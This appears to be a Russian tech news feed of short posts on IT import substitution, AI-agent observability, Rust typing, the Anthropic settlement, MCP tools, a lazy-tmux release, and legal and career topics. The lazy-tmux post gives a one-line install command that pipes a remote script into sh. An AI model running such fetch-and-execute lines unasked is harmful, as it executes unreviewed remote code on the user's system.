Все потоки

Импортозамещение: «лишь бы российское» уже недостаточно

Наконец посчитали, что российский ИТ-рынок в 2025 году вырос на 13% и превысил 4 трлн рублей. Быстрее всего росли сегменты программного обеспечения и ИТ-услуг, а одним из главных драйверов оставалось импортозамещение.

Но сама цифра роста не означает, что заказчики готовы покупать любое решение с пометкой «российское». Часть динамики связана с ростом цен. При этом бюджеты стали жёстче, а крупные программы всё чаще разбивают на этапы. Рынок переходит от срочной замены зарубежных продуктов к промышленной эксплуатации отечественного стека.

Лицензия – только входной билет

Если ещё несколько лет назад основной вопрос звучал так: «Чем срочно заменить зарубежный продукт?», то сегодня заказчики оценивают уже не сам факт замены, а готовность решения к промышленной эксплуатации:

• Как решение встроится в существующую инфраструктуру?

• Кто отвечает за сопровождение при сбоях и обновлениях?

• Как система восстанавливается после ошибочного изменения?

• Можно ли масштабировать внедрение без роста операционных рисков?

Стоимость проекта определяется не только лицензией. Дальше – интеграция, тестирование, обучение команды, сопровождение разнородного стека, костыли, а возможно, и простои. Отдельная статья расходов – цена неудачного восстановления.

Каталог как проверка зрелости внедрения

Особенно хорошо зрелость внедрения проверяется на службе каталогов. Перенести пользователей, группы и политики в новый Linux-каталог недостаточно. До запуска нужно проверить не только авторизацию и интеграции, но и поведение системы после ошибки:

• создание резервных копий и восстановление отдельных объектов и атрибутов;

• сохранность прав доступа и членства в группах, корректность репликации;

• мониторинг массовых и ошибочных изменений;

• понятный порядок действий администратора после инцидента.

Простой тест часто показывает больше, чем длинная презентация: удалить тестовую группу, изменить несколько атрибутов, нарушить членство и пройти весь путь восстановления. Если этот сценарий не проверяли до запуска, его придётся осваивать уже во время простоя.

Иначе получается новый офис, в который уже перевели всех сотрудников, но забыли проверить, работает ли туалет. Формально переезд завершён. Эксплуатация говорит обратное.

Зрелое импортозамещение начинается не с выбора продукта, а с продуманного внедрения: проверки совместимости, распределения зон ответственности, отработанных сценариев восстановления и понимания цены ошибки.

Пройди воркшоп по наблюдаемости ИИ-агентов с Langfuse

Привет! Меня зовут Филипп Бочаров, я CPO в МТС Web Services и член ПК HighLoad++. Мы с командой придумали воркшоп «Смотри, как думает агент: Observability AI-агентов с Langfuse». Его прошли уже более 60 человек на конференциях AIConf 2026 и Saint HighLoad++ 2026, а теперь он стал доступным публично всем желающим!

На примере демонстрационного ИИ-агента на Python вы узнаете:

• сколько могут стоить ошибки агента в рублях;

• как сломать продуктивный агент, не меняя ни строчки кода;

• что может пойти не так с MCP.

Вы освоите бесплатный инструмент для диагностики типовых проблем ИИ-агента, который можно сразу применить в работе.

Что будет на воркшопе

Мы будем работать с демонстрационным ИИ-агентом Cookbook Agent. Он умеет создавать рецепты блюд и рассчитывать стоимость ингредиентов.

На каждом шаге воркшопа сымитируем различные нештатные ситуации, которые вам нужно будет найти и исправить с помощью open-source-инструмента Langfuse.

Демонстрационный ИИ-агент состоит из пяти частей:

• Cookbook-agent — агент на Python. Это основной проект, который мы будем изучать и изменять.

• MCP-server — MCP-сервер, к которому агент обращается за поиском рецептов и их стоимостью. Развернут локально, но вы считаете, что он находится где-то в облаке. MCP-сервер для вас — черный ящик.

• Qdrant — векторная база данных с рецептами.

• RAG-loader — утилита для загрузки рецептов в Qdrant при первом запуске.

• Redis — хранилище памяти для сессии агента. Изначально наш агент память не использует, но она будет добавлена на последнем шаге.

Зачем это нужно…

Сейчас большинство компаний инвестирует в ИИ, но у ИИ-агентов есть специфичные проблемы, связанные с использованием LLM под капотом. Агенты становятся все сложнее и используют других агентов.

На этом воркшопе мы покажем, как можно диагностировать такие типовые проблемы. Цель — освоить инструмент для диагностики типовых проблем AI-агента.

Что такое Langfuse

Это open-source-платформа для разработки и наблюдения приложений на базе LLM. Ее ключевые функции:

• Набор инструментов для наблюдаемости, которые позволяют понять, почему агент тормозит или выдает ошибку.

• Возможность хранить промпты централизованно с контролем версий.

• Метрики качества: проверка ответа агента на корректность, безопасность и так далее.

Требования к участникам

• ноутбук с доступом в интернет;

• git, Docker v24.x+ и Docker Compose v2.22.x+;

• любой редактор кода, желательно с поддержкой Python;

• 500 рублей для оплаты LLM в сервисе MWS GPT Model Hub; 

• два часа свободного времени.

Как пройти воркшоп

По этой ссылке вы найдете все необходимые инструкции: вступительную часть и пять типовых проблемных ситуаций. Каждая ситуация разделена на две части: 

• Сценарий — задание, в рамках которого имитируется проблема нужно сделать. 

• Решение — это ответ на задание с подробным разбором причин и способа исправления.

Старайтесь разобраться в задании самостоятельно, не забегайте вперед и не подсматривайте в решение.

Открытый проект PriceGhost позволяет искать самые дешёвые и качественные товары в сети Интернет с помощью ИИ:

• внутри команда ИИ‑агентов, которая проверяет сотни площадок с нужным вам товаром;

• агенты сравнивают цены, сроки доставки, качество, характеристики, скрытые доплаты и комиссии, наличие страховки груза и прочее;

• выдаётся подробный отчёт с инфографикой. ИИ также выдаст рекомендации, если товара не будет в наличии;

• результат — можно купить вещь выгоднее и не ждать долго доставку, а ещё не навяжут скрытые условия.

Автоматизируем архив правильно и безопасно

Компании, особенно сегмента enterprise, часто сталкиваются с рядом проблем при ведении архивов: бумажный экземпляр и электронный существуют отдельно, система не успевает обрабатывать объемы хранения, подготовка справок и выписок занимает часы. И все это одновременно с необхдимостью организовать архив по приказу Росархива № 77.

Эти проблемы могут повлечь за собой юридические сложности и путаницу в документах, а также риск потери важных материалов.

29 июля 11:00 команда экспертов экосистемы «Авандок» проведет бесплатный вебинар на тему: «Как организовать электронный архив с ИИ и не нарушить правила». (ссылка)

На этом вебинаре вы узнаете:

·        какие бывают архивы

·        об актуальных нормах и требованиях законодательства к хранению

·        ключевые критерии выбора системы электронного архива

·        как оценить эффект от внедрения электронного архива

·        И как ИИ упрощает работу архивариуса

Эксперты покажут, как организовать электронный архив с соблюдением правил, перестать формировать описи бумажных дел в Word, и как автоматизировать весь цикл: от приема документа до его уничтожения.

Спикеры:

👉 Мария Токарева – Директор по развитию решений, ГК «КОРУС Консалтинг»

Более 20 лет опыта создания и внедрения комплексных решений для крупнейших коммерческих и государственных заказчиков

👉 Мария Лямина – Руководитель группы аналитики, ГК «КОРУС Консалтинг»

Более 12 лет опыта в разработке и внедрении комплексных решений для автоматизации бизнес-процессов в государственных и коммерческих организациях

 Подробнее на сайте | Зарегистрироваться

Участники получат запись и чек-лист «Как привести электронный архив в соответствие 77-му приказу Росархива»

Telegram / MAX

Type-driven development в Rust: делаем недопустимые состояния невыразимыми

В своей работе наша инженерная команда довольно часто сталкивается с уникальными и сложными задачами — мы решили поделиться своей экспертизой и практическими наработками. В том числе и теми задачами, которые напрямую не связанны с информационной безопасностью.

Начинаем с type-driven development в Rust — подхода, при котором правила предметной области выражаются в типах, а код, нарушающий эти правила, не компилируется. О том, как применять его на практике расскажет Никита Тимофеенко, разработчик команды MXDR компании F6.

Серия рассчитана на тех, кто уже пишет на Rust и хочет от системы типов большего, чем борьба с borrow checker-ом. Теории типов не будет — только приёмы и шаблоны для рабочего кода, почти всё на стабильном Rust.

После первой части вы сможете посмотреть на свои структуры с флагами и Option-ами, посчитать, сколько недопустимых состояний они позволяют собрать, перепроектировать их так, чтобы эти состояния перестали компилироваться, и удалить часть defensive-проверок.

В первой статье — пять техник, каждая разобрана по схеме «проблема -> решение -> хорошие практики -> как это используют известные крейты или std библиотека».

Примеры во всей серии — из биржевой торговли, но сами приёмы работают в любом домене со сложными состояниями и правилами их изменения:

• newtype — свой тип для каждой роли вместо голого примитива: значения разных типов не перепутать местами, а инварианты проверяются один раз — при создании (smart constructor);

• ADT — «одно из» через enum с данными в вариантах вместо булевых флагов и Option-ов, допускающих бессмысленные комбинации;

• uninhabited types — типы без значений: как убрать ветку ошибки, которая «никогда не случится», так, чтобы это гарантировал компилятор, а не unreachable!();

• phantom types — параметры-маркеры без рантайм-представления: одна generic-обёртка с типом-тегом вместо семейства одинаковых newtype-ов;

• typestate — состояние объекта в его типе: у каждого состояния свой набор методов, переход возвращает новый тип, а неверный порядок шагов не компилируется.

Первая статья — «Type-driven development в Rust. Часть 1/5: делаем недопустимые состояния невыразимыми» — уже на GitHub. Там же — компилируемые примеры ко всем приёмам: Cargo workspace, который собирается и проходит тесты.

В Steam анонсирована игра в виде симулятора работы Working95, в которой нужно выполнять все офисные задачи — вести дела с электронными таблицами, сортировать файлы, осуществлять бухгалтерский учёт и многое другое. «Я делаю игру, в которую мои родители хотели, чтобы я играл!», — пояснил авто проекта.

Мировое Anthropic с авторами на $1,5 млрд: не тот прецедент, каким его подают

На днях суд в Сан-Франциско окончательно утвердил мировое Anthropic с авторами на $1,5 млрд. Это крупнейшее известное урегулирование по авторскому праву в США. Дело вёл судья Alsup, но к финалу он вышел в отставку (конец 2025), утвердила мировое судья Araceli Martinez-Olguín.

Новость разошлась под заголовком «суд признал обучение ИИ на книгах добросовестным использованием». Это не совсем верно.

Что решил суд, исходя из информации из открытых источников: судья Alsup ещё в июне 2025 указал: само обучение модели на книгах - это fair use (добросовестное использование по праву США), потому что использование трансформирующее. Нарушение увидели в другом - Anthropic скачали больше 7 млн книг из пиратских библиотек (LibGen, PiLiMi) и держали на их базе «центральную библиотеку», часть которой в обучение, возможно, и не пошла бы. Мировое и $1,5 млрд - именно за это хранение, не за обучение.

И тонкость, которую в пересказах теряют. Класс по делу сертифицировали только по пиратскому эпизоду. Вывод про fair use на обучении формально касается трёх истцов, которые подали иск, а не всего класса. Значит, прецедента «обучать ИИ на книгах законно» тут ровно столько, сколько одно решение одного окружного судьи (к тому же вышедшего в отставку) весит для следующего суда. Пока, скорее, это ориентир для других судей.

Что из этого практического. Источник данных теперь из чисто технического вопроса дополняется его классификацией, как юридического факта - важным становится «откуда взяли», а не на чём обучали. Лицензированный и открытый контент для обучения; правомерные источники для RAG (генерация с опорой на найденные документы - СПС, свой архив, купленные базы); лог того, на чём модель реально училась.

Про РФ. Прямого переноса вывода про fair use у нас нет: в российском праве отсутствует институт добросовестного использования в том формате, как он существует в праве США, но есть закрытый перечень случаев свободного использования (ст. 1274 ГК и рядом). Так что «обучение = fair use» к нашей юрисдикции не прикладывается. А вот риск пиратского происхождения данных прикладывается один в один - суды в разных странах смотрят на одно и то же: откуда контент и не бьёт ли он по правообладателю.

ИМХО, главный итог состоявшегося события не в том, что теперь «ИИ можно учить на книгах», а в том, откуда взяли данные и легально ли их происхождение. Anthropic, к слову, вину так и не признали и всё равно заплатили $1,5 млрд за то, как собирались данные для обучения.

Сегодня произошла интересная штука: я встретил вживую новый вид сотрудника - "Оператор ЛЛМ", это как "Оператор ЭВМ", он "жмакает" кнопки, но не понимает зачем.

Суть: собесил сегодня чувака на инженерную позицию. Туда-сюда, вроде все складно, тимлиду вроде нравится. Потом дали мне слово, как софтверному инженеру, и я задал ровно два вопроса, после которых все стало понятно.

1 - чувак говорил, что у него есть хоум лаба, но не смог рассказать из чего она состоит (контейнеры/виртуалки/гипервизор).

2 - чувак показал свой пет-проект, но не смог рассказать как он работает под капотом.

Почему? - потому что он "кнопкодав", "оператор ЛЛМ" - называйте как хотите.

Это очень опасная тенденция, все больше людей называют себя "архитекторами" приложений, не понимая основ технологий которые их ЛЛМ пытается применять.

Фронтенд для души, бэкенд для людей!

Были приняты меры погрузиться под воду дабы показать серьезность моих намерений в данной щепетильной теме.

Фронтенд весь такой разносторонний, креативный, местами легкий, местами настолько сложный что ломаешь голову. Напрашивается клеймо "для любителей".

Бэкенд наоборот поддерживает порядок и структурность. Меньше экспериментов и больше проверенных решений, самое то для "сделал работу - пошел спокойно домой".

Что-то не сиделось мне на месте, и я решил облегчить работу своему нейро-бро (агенту) на Windsurf/Cascade.

Поэтому было принято решение написать MCP для хранения диалогов и всего локального кода на моем компе. И что самое важное -> прикрутить к этому семантический поиск. Я частенько использую одинаковые паттерны, куски кода или какие-то конфиги в разных проектах.

Алгоритм прост как 2 пальца об асфальт:

1. Выбираем директорию

2. Разбиваем код на удобные батчи (функции, классы, структуры и т. д.)

3. Индексируем при помощи какой-нибудь embedding-модели через ollama (кстати работает достаточно быстро) или через платное API

4. Вуаля! -> агент теперь умеет искать информацию по всем локальным проектам

А также вкратце про другую MCP. Она работает примерно как Playwright, но без Node.js-зависимостей и расширений.

Рецепт опять же очень прост:

• Chrome + запущенный CDP

• Сам MCP, который умеет навигацию, клики, заполнение форм, скриншоты, инспекцию сети и консоли, исполнение JS-скриптов

Мозг: https://github.com/quonaro/GnostisMCP

Руки для браузера: https://github.com/quonaro/KlyxarMCP

Новинки синтеза речи для Андроид. В Гугл Плэй появилось приложение для офлайн синтеза речи высокого качества VoxSherpa TTS.

VoxSherpa имеет настройки “умные паузы”, тэги эмоций, и т.д. Позволяет установить в качестве системных 3 нейро-движка синтеза речи:

1. Kokoro. Мультиязычный, но русский язык не поддерживает.

2. Piper. С ним нужно дополнительно загрузить отдельные голоса для разных языков. Есть довольно хороший русский голос Irina. Среди английских голосов есть несколько очень высокого уровня.

3. Supertonic 3 TTS. Очень интересный новый движок. Полностью мультиязычный (русский поддерживает), хорошо переключается между английскими и русскими словами даже внутри одного предложения. Очень высокое качество (настраиваемо), но есть лёгкий английский акцент. Сейчас плохо работает с изменением скорости (лучше оставить на 1.0). Есть в Гугл Плэй отдельным приложением. Есть также на Гитхаб:
   https://github.com/davnozdu/supertonic-android

Вышел lazy-tmux 0.2.0!

Напомню в двух словах: lazy-tmux — менеджер tmux-сессий на Go, который показывает все сохранённые сессии деревом, но реально восстанавливает сессию с её процессами и скроллбэком только когда вы её открываете, а не поднимает всё разом. Подробнее про сам проект я уже писал раньше, а сейчас — про новый релиз, в котором накопилось много всего.

Настройки наконец переехали в TOML-конфиг. Раньше приходилось прокидывать флаги каждый раз, теперь есть файл: config gen создаёт болванку, config show печатает итоговую конфигурацию с учётом всех источников. Заодно появился контроль над тем, что вообще перезапускается при восстановлении сессии — белый и чёрный списки, причём оба матчатся как регулярки по всей командной строке.

Сильно переработал сам TUI picker: нормальная тема, поддержка мыши, цветные режимы действий, панель хоткеев по ?, относительное время снапшота. Пока сессия поднимается, прямо внутри picker’а теперь рисуется анимация загрузки, а Esc аккуратно отменяет восстановление и убивает частично поднятую сессию.

Ещё в релизе появился слой интеграций со сторонними программами, и первая из них — Claude Code. Рядом с каждой сессией в picker’е показывается живой статус: работает, ждёт вашего ответа или подтверждения, либо просто простаивает. Когда крутишь несколько агентов по разным проектам, удобно видеть, кто из них заблокирован, не переключаясь внутрь каждого. А восстановленные окна Claude сами переподхватывают свою сессию.

Из остального: проверил совместимость с tmux от 2.9 до 3.7b, починил поведение когда сервер tmux вообще не запущен, добавил фоновый демон автосейва, команду version и обновил сайт документации.

Поставить можно одной строкой:

curl -fsSL https://lazy-tmux.xyz/install.sh | sh

Есть и Homebrew с AUR. Код — https://github.com/alchemmist/lazy-tmux, документация — https://lazy-tmux.xyz. Проект ещё молодой, открытых задач хватает, так что буду рад фидбэку и контрибьюшенам!

Представлена мини‑камера и персональный тренер BodyPark ATOM, которая следит за техникой упражнений и исправляет ошибки прямо во время тренировки. Камера анализирует технику исполнения пользователя с помощью ИИ и 34-точечной модели скелета. Гаджет сам считает повторения, подсказывает голосом, если пользователь делает упражнение неправильно, и следит за траекторией грифа, амплитудой, центром тяжести и мощностью движений.

Камеру можно закрепить практически где угодно: на стойке, тренажёре, столе или штативе. Заодно встроенный ИИ составит персональные программы для силовых тренировок, HIIT, пилатеса, развития мобильности и восстановления. Стоимость цифрового тренера составляет $219.

RAG умер?

Сравнил RAG vs ReAct-агент на существующей компании на корпусе в 100+ документов.

Оценка: 0 — нет ответа, 1 — верный ответ, 2 — верный и более развёрнутый.

Итог: 83 vs 53 в пользу ReAct (OpenClaw).

Главные плюсы ReAct:

👉 добирает детали и шаги «что делать»;
👉 ходит на сайты (расписания, билеты, формы);
👉 даёт контакты, ссылки, уточняет контекст;
👉 лучше форматирует ответ.

Единственный минус — медленнее: лишние циклы ReAct. Но именно в этих циклах он обычно и добирает доп. инфу.

Больше деталей по теме в канале.

HAL 9000, ты ли это?

В «Космической одиссее 2001 года» Артура Кларка компьютер HAL 9000 практически обладал разумом и вёл себя как равный участник полёта с космонавтами. В книге компьютер плохо кончил, но именно он — первая ассоциация с «агентским смартфоном» StepX Neo компании StepFun.

Смартфон содержит ИИ-агент Step Amoo, который выполняет все запросы локально. Собственно, локальное выполнение запросов — главная фишка смартфона: получается, что он не зависит от связи, не перестаёт работать, если внешние LLM не на связи (как в случае с блокировкой Fable 5).

Разработчик реализовал собственную операционную систему Step AOS на базе Android, Linux и RTOS. Она спроектирована так, чтобы все операции на смартфоне делились на четыре категории: коммуникации, приложения, файлы и системные инструменты. Каждый запрос пользователя на естественном языке раскладывается на подзадачи и транслируется в запросы ИИ-агенту с учётом необходимого уровня вычислительных мощностей и затрат энергии. Отдельное внимание разработчики уделили безопасности и подключённым внешним сервисам для расширения возможностей системы (на простые запросы агент ответит сам, но подобрать актуальные билеты он может только при подключении к внешним сервисам — что логично).

Преимущество такого подхода — возможность обучить ИИ-агента на всех данных, которые применяет пользователь. При этом работа происходит локально, что теоретически улучшает безопасность — данные не смогут извлечь кибератакой злоумышленники из моделей типа Claude или GPT.

Идея объединить все данные пользователя и скормить их ИИ-модели, чтобы она лучше понимала и помогала ему, не нова. Ещё десяток лет назад Microsoft показывала концепцию Skype, который извлекает из диалога договорённость о встрече и добавляет дату и место в календарь. Неслучайно StepFun организовали… выходцы из Microsoft. Только напомним, что ИТ-гигант так и не реализовал эту функцию и закрыл Skype.

Пока похоже на типичный стартап, который взял популярную идею и решил её реализовать. Ждём тестирования — хватит ли вычислительных мощностей смартфона для полноценной работы ИИ-агента? Сможет ли собственный ИИ-агент справиться с потоками разнородной информации? Удастся ли обеспечить киберзащиту смартфона, в котором будет буквально вся жизнь пользователя?

Делимся с вами записью вебинара "Рабочие встречи как система: принципы и форматы"!

На вебинаре обсудили принципы и практики, которые помогают командам быстрее договариваться, принимать решения и не теряться в бесконечных обсуждениях. А также обсудили виды встреч и почему большинство рабочих встреч не двигают задачи вперёд.

В общем, лучше переходите по ссылкам и убедитесь, насколько полезный и крутой вебинар получился 😉

• VK Video

• Rutube

• YouTube

• Наш сайт

Приятного просмотра! Ждём ваши комментарии!

Задача — это файл в git, а не сообщение в чате

Предисловие. За год плотной работы с ИИ-агентами — пять проектов доехали до продакшна — у нас сложился набор практик. Разбираем по одной. Первая и базовая: где живёт задача.

Приходит, значит, товарищ к агенту: сделай, милый, вот такую фичу. Агент кивает, бодро пишет код, всё замечательно. Проходит два дня. Товарищ открывает новый чат — а там пусто. Агент не помнит ни фичи, ни уговора, ни что «готово» вообще должно было означать. У него каждое утро чистый лист. И сидит наш товарищ, восстанавливает контекст по диффу, как археолог по черепкам.

Причина простая: задача жила в переписке, а переписка не версионируется и сессию не переживает. Поэтому у нас задача — это файл в git, рядом с кодом. Он коммитится вместе с кодом, который его закрывает, и едет в той же feature-ветке.

Структура папок

Всё, что касается задач, лежит в репозитории и отслеживается git (у нас — 294 файла):

task/                  ← активные задачи (сейчас в работе)
├── done/              ← закрытые
└── history/           ← рефлексия по сессиям (отдельная практика)
plans/                 ← длинные roadmap'ы

• task/ — только то, что сейчас в работе. Незакрытое и без хвостов. У нас тут обычно 1–3 файла.

• task/done/ — задача переезжает сюда, как только выполнен Definition of Done. Не после деплоя, а сразу как критерий закрыт. Это архив сделанного: сейчас 121 задача, каждую можно открыть и посмотреть, что и как решали.

• plans/ — большие направления, которые не влезают в одну задачу. Roadmap режется на пачку мелких task-файлов; агент читает общий план, потом берёт из него конкретный кусок. Сейчас 9 роадмапов.

• task/history/ — рефлексия по сессиям. Это уже про память агента, отдельная практика; здесь только упоминаю, чтобы структура была полной.

Имя файла — YYYY-MM-DD_HH-MM-название.md, с датой и временем создания. Даёт хронологию из коробки: задачи сортируются по возникновению, имена не конфликтуют, ничего не перетирается.

Что внутри задачи

• Одна задача = одна функция. Она же — одна feature-ветка и один MR. Есть задача на эту фичу — работаем с ней, вторую не заводим: два файла на одно дело — и потом сам не разберёшь, который из них настоящий.

• Фазы со статусом. Внутри — шаги, у каждого [ ] или [x]. Сессия оборвалась — следующая открывает файл и видит, где остановились: что сделано, что ждёт, что готово, но не проверено. Состояние читается из файла, а не восстанавливается по памяти.

• Definition of Done — перечисляемым списком. Не «сделать фичу», а конкретные пункты: что именно должно работать. Без списка «готово» у каждого своё. Этот же список потом становится чек-листом приёмки: пункт → проверка → PASS/FAIL, любой FAIL — задача не закрыта.

• Итоговый блок. В конце — реализовано целиком или нет, что осталось, какие решения приняли и почему.

Скелет реальной задачи из проекта:

# Фаза 7 — калибровка порога confidence
**Тип:** chore + small feat
**Ветка:** chore/retrieval-calibration
**Зависимости:** фаза 6 в проде
**Статус:** Шаг 1 готов; Шаги 2-3 ждут трафика

## Прогресс
- [x] Шаг 1 — инструментовка. Тесты зелёные.
- [ ] Шаг 2 — сбор датасета с прода (ждёт трафика).
- [x] Шаг 3 — эвал-команда готова. Осталось прогнать на реальных данных.

## Контекст
Почему пороги пока с потолка и что от них зависит.

Что это даёт

• Переживает сессию и машину. Контекст не теряется между чатами: новый агент читает файл и продолжает с той же точки.

• Едет в ревью вместе с кодом. Ревьюер видит не только дифф, но и зачем он и по каким критериям принимать.

• Имеет историю. Кто завёл, когда, что и почему решили — в git-логе, а не в чьей-то памяти. Через полгода понятно без археологии.

• Держит остальные практики. Приёмку не сверить, если непонятно, что считалось «сделано». DoD из файла и есть этот критерий.

Мораль простая. Пока в файле не прописано, что считается «готово», любое «готово» — вопрос веры. Вера в хозяйстве вещь неплохая, но к продакшну отношения не имеет. Список превращает её в проверяемый факт.

Почтовый ящик на Госуслугах для юрлиц. Разбираем эту и другие новости законодательства.

Электронная почта на Госуслугах станет официальным каналом для юридически значимых сообщений

Госдума приняла закон, меняющий правила обмена официальными документами. «Почта России» создаст электронную почтовую систему (ЭПС) на базе Госуслуг.

Ключевые изменения:

Для бизнеса и ИП: адрес электронного ящика на Госуслугах станет обязательным реквизитом в ЕГРЮЛ и ЕГРИП.

Госорганы, ЦБ, госкомпании и юрлица с долей РФ >50% обязаны направлять юридически значимые сообщения через ЭПС (исключения: межведомственное взаимодействие, налоговый ЭДО, обращения граждан и пр.).

У всех пользователей появится возможность вести переписку через Госуслуги.

Платность: ежемесячная абонплата для ИП и юрлиц (кроме унитарных, учреждений, публично-правовых и ЦБ). При неуплате доступ приостановят. Плата за отправку сообщений - для физлиц и компаний (кроме органов власти и ЦБ). Бесплатно - для госорганов, унитарных, учреждений, а также социально значимых сообщений (пенсии, льготы, ЖКХ и т.п.).

Размер и порядок оплаты установит Правительство.

Сроки вступления в силу: закон вступает в силу с 1 марта 2027 года (основные нормы). Отдельные положения - с 1 сентября 2027 года (уведомления госорганов, платежки ЖКХ).
Документ: Проект Федерального закона № 1254384-8

Ужесточение требований к трудовым мигрантам - поправки приняты в третьем чтении

С 1 января 2027 года работающие в РФ иностранцы должны будут содержать себя и членов семьи на уровне не ниже прожиточного минимума. ФНС ежеквартально передаёт данные о доходах в МВД с 1 октября 2026 года. При отсутствии данных или доходе ниже норматива патент не выдадут либо аннулируют - иностранцам с детьми придётся выехать за 15 дней (исключение - при первом оформлении). Низкий доход за год может стать основанием для отказа или аннулирования РВП.

Жёстко, но понятно. Государство продолжает ужесточать миграционный контроль и требовать от иностранцев подтверждения платёжеспособности.

Что ещё меняется с 1 марта 2027 года: порог зарплаты для ВКС вырастет почти в 3 раза - до 717 тыс. руб. в месяц (сейчас 750 тыс. за квартал). Для отдельных категорий - 358,5 тыс. руб. Суммы будут индексировать ежегодно.

Документ: Проект Федерального закона № 1158407-8

Банки вправе заключать договоры жилищных сбережений с 1 января 2027 года

Появится новый вид договора. Банк принимает деньги от гражданина, начисляет проценты и возвращает их с процентами при оплате жилья, ДДУ или ИЖС.

Основные условия:
⦁ минимальный срок привлечения денег - 3 года;
⦁ договор должен предусматривать возможность пополнения вклада в любое время;
⦁ банк будет начислять проценты и выплачивать их гражданину.

При соответствии требованиям банк выдаст кредит на жильё. Гражданин вправе отказаться и направить средства в другой банк для взноса или погашения долга.

Жилищные сбережения застрахованы - размер возмещения 100% от суммы депозита, но не более 10 млн руб.

Документ: Федеральный закон от 04.07.2026 № 230-ФЗ

Оформить ипотечные каникулы при рождении второго и следующих детей можно с 1 сентября 2026 года

Расширят список ситуаций для ипотечных каникул. В перечень внесут рождение или усыновление второго ребенка и следующих детей.

Заёмщик сможет указать, что ему нужны каникулы максимум на 1,5 года. День их окончания не должен быть позже даты, когда второму или каждому следующему ребёнку исполнится 1,5 года.

Документы - свидетельство о рождении/усыновлении или удостоверение многодетной семьи. Мера доступна и по старым договорам. Заёмщик выбирает: приостановку платежей или уменьшенный платёж. Максимум - 15 млн руб., предмет - единственное жильё.

Хорошая мера поддержки для семей с детьми.

Документ: Федеральный закон от 04.07.2026 № 229-ФЗ

А что вы думаете об этих изменениях?👇

Сбер, ДМС и 61 тысяча: где заканчивается редактура и начинается управление знаниями?

Продолжаю разбирать вакансии, связанные с управлением знаниями и технической документацией. Сегодня смотрим позицию редактора базы знаний в Сбере.

На первый взгляд всё выглядит неплохо: обязанности короткие, требования чёткие, есть официальное оформление, обучение и ДМС. Но по описанию непонятно, что именно продают кандидату: вход в управление знаниями или редактуру статей в крупной компании? Ниже разбираю, кому может подойти такая позиция и что стоит уточнить до отклика.

Дисклеймер. Я больше 15 лет внедряю менеджмент знаний в российских компаниях. Запустил эти разборы, чтобы работодатели могли увидеть спорные места в вакансиях, а специалисты – точнее оценить задачи и подготовиться к собеседованию. Анализирую только опубликованные тексты вакансий, а не реальные процессы внутри компаний.

Начну с плюсов

Вакансия не перегружена. Обязанности описаны кратко и не создают ощущения, что на одного человека хотят возложить несколько разных ролей.

Требования выглядят адекватными и соответствуют уровню позиции. Вакансия доступна для специалистов с небольшим опытом.

Есть социальный пакет. Официальное оформление, обучение, ДМС и работа в крупной известной компании делают предложение привлекательным.

Дальше начинаются вопросы

Первый – зарплата. Предложение от 61 тыс. рублей в месяц выглядит невысоким даже с учётом региона (Ставрополь) и бренда работодателя.

Второй – обязанности описаны слишком общими фразами. Не очень понятно, чем именно предстоит заниматься. Специалист должен просто писать и обновлять статьи или ещё работать со структурой базы знаний, поиском, метриками, шаблонами и правилами публикации?

Третий – профильное образование. Кандидат должен иметь образование в области журналистики или филологии. Это заметно сужает круг потенциальных кандидатов. При этом на практике на таких позициях успешно работают специалисты с самым разным бэкграундом.

Четвёртый – мало конкретики о команде и инструментах. Также ничего не указано про карьерное развитие и процессы работы. Кандидату с опытом будет сложно оценить уровень зрелости направления.

Мой вывод

Вакансия может подойти специалисту с небольшим опытом, который хочет попробовать себя в работе с базами знаний и при этом стартовать в крупной компании. Для опытного специалиста позиция может показаться менее интересной, так как есть вероятность, что работа ограничена редакторскими задачами. Отдельный вопрос – зарплата: указано только «от 61 тыс.», без верхней границы.

Если база знаний нужна только как хранилище статей, роль действительно ближе к редактуре. Если она должна помогать сотрудникам быстрее находить ответы, снижать нагрузку на поддержку и работать как источник данных для ИИ-ассистентов, одной редактуры мало: нужны структура, правила, процессы, метрики и регулярная работа с качеством знаний.

Так что, перед откликом стоит уточнить:

• что будет основным: написание, редактура, актуализация или развитие базы знаний;

• в каких инструментах предстоит работать и какую роль выполняет база знаний;

• есть ли наставник и план адаптации;

• кто ставит задачи и проверяет результат;

• есть ли шаблоны и правила публикации;

• нужно ли работать с метриками, поиском и структурой базы;

• насколько обязательно профильное образование;

• что входит в ДМС и обучение;

• какие варианты роста есть внутри команды.

Если вы развиваете управление знаниями в компании или ищете кандидатов и не знаете, как привлечь сильных специалистов, напишите мне в личные сообщения. Посмотрю вакансию и подсвечу места, которые стоит доработать.

В пятницу опубликую полный список открытых вакансий в своём телеграм-канале Знания на завтрак. Подпишитесь, чтобы не пропустить.

Забирать или оставлять

Однажды я поменял отдел внутри Яндекса, и через пару месяцев ко мне обратились два сотрудника из старой команды. Оба были прекрасными специалистами, хотели развиваться в руководителей, но в том отделе не было соответствующих вакансий. Я же как раз пересобирал команду на новом месте, и мне были нужны потенциальные тимлиды.

Когда руководитель уходит, перед ним встаёт дилемма: забирать ключевых людей с собой или нет. Ответ зависит от того, что считать результатом работы руководителя.

• Если результат — запущенные проекты, то переход в новую компанию целой командой выглядит оправданным. Слаженный коллектив обеспечивает высокую скорость работы. Знаю людей, которые так вместе и кочуют из компании в компанию.

• Если же цель руководителя собрать команду, вырастить тимлидов и выстроить процессы, то переманивание коллег с предыдущей работы выглядит как строительство очередного дома путём разбора предыдущего.

Оба подхода имеют право на жизнь, но лично мне ближе второй. Если бывший коллега сам придёт, я могу его рассмотреть, но сам никогда не ханчу людей из предыдущей компании. Мне интересно выращивать одних руководителей, чтобы после «выпускного» набирать новых.

Что касается тех двух ребят, они успешно ротировались, стали тимлидами, собрали команды под себя, а впоследствии оба возглавили по отделу.